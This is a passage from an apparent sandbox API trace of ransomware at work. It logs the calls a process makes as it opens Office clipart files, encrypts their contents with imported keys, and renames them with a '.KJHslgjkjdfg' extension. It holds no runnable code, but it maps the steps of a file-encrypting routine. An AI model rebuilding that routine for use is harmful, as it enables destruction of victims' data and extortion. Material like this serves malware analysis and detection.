cAlternateFileName="")) returned 1 [0153.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.854] GetProcessHeap () returned 0x2a0000 [0153.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.854] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.854] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.857] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.857] GetProcessHeap () returned 0x2a0000 [0153.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.857] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.857] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.857] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.857] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.857] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.858] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.858] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.858] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.858] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x728, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x728, lpOverlapped=0x0) returned 1 [0153.858] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x730, dwBufLen=0x730 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x730) returned 1 [0153.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.858] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x730, lpOverlapped=0x0) returned 1 [0153.858] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.859] SetEndOfFile (hFile=0x114) returned 1 [0153.861] GetProcessHeap () returned 0x2a0000 [0153.861] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.861] GetProcessHeap () returned 0x2a0000 [0153.861] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.kjhslgjkjdfg")) returned 1 [0153.863] CloseHandle (hObject=0x114) returned 1 [0153.863] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0153.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.864] GetProcessHeap () returned 0x2a0000 [0153.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.865] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.865] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.867] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.867] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.867] GetProcessHeap () returned 0x2a0000 [0153.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.867] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.867] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.867] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.867] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.868] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.868] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.868] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x66dc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x66dc, lpOverlapped=0x0) returned 1 [0153.869] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x66e0, dwBufLen=0x66e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x66e0) returned 1 [0153.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.870] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x66e0, lpOverlapped=0x0) returned 1 [0153.870] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x67b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.870] SetEndOfFile (hFile=0x114) returned 1 [0153.873] GetProcessHeap () returned 0x2a0000 [0153.873] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.873] GetProcessHeap () returned 0x2a0000 [0153.873] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.873] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.kjhslgjkjdfg")) returned 1 [0153.884] CloseHandle (hObject=0x114) returned 1 [0153.884] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0153.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.885] GetProcessHeap () returned 0x2a0000 [0153.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.885] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.885] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0153.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.890] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.890] GetProcessHeap () returned 0x2a0000 [0153.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.890] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.890] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.891] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.891] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.891] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.891] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.891] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.891] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.891] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.891] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6cd2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6cd2, lpOverlapped=0x0) returned 1 [0153.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6ce0, dwBufLen=0x6ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6ce0) returned 1 [0153.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.893] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6ce0, lpOverlapped=0x0) returned 1 [0153.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.894] SetEndOfFile (hFile=0x114) returned 1 [0153.896] GetProcessHeap () returned 0x2a0000 [0153.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.896] GetProcessHeap () returned 0x2a0000 [0153.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.kjhslgjkjdfg")) returned 1 [0153.898] CloseHandle (hObject=0x114) returned 1 [0153.898] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0153.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.898] GetProcessHeap () returned 0x2a0000 [0153.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.899] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0153.901] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.901] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.901] GetProcessHeap () returned 0x2a0000 [0153.901] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.902] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.902] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.902] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.902] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.902] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.902] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.902] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.902] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xea2, lpOverlapped=0x0) returned 1 [0153.902] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xeb0) returned 1 [0153.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.903] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xeb0, lpOverlapped=0x0) returned 1 [0153.903] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.903] SetEndOfFile (hFile=0x114) returned 1 [0153.907] GetProcessHeap () returned 0x2a0000 [0153.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.907] GetProcessHeap () returned 0x2a0000 [0153.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.kjhslgjkjdfg")) returned 1 [0153.909] CloseHandle (hObject=0x114) returned 1 [0153.909] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0153.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.910] GetProcessHeap () returned 0x2a0000 [0153.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.910] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.910] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.910] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.913] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.913] GetProcessHeap () returned 0x2a0000 [0153.913] RtlAllocateHeap 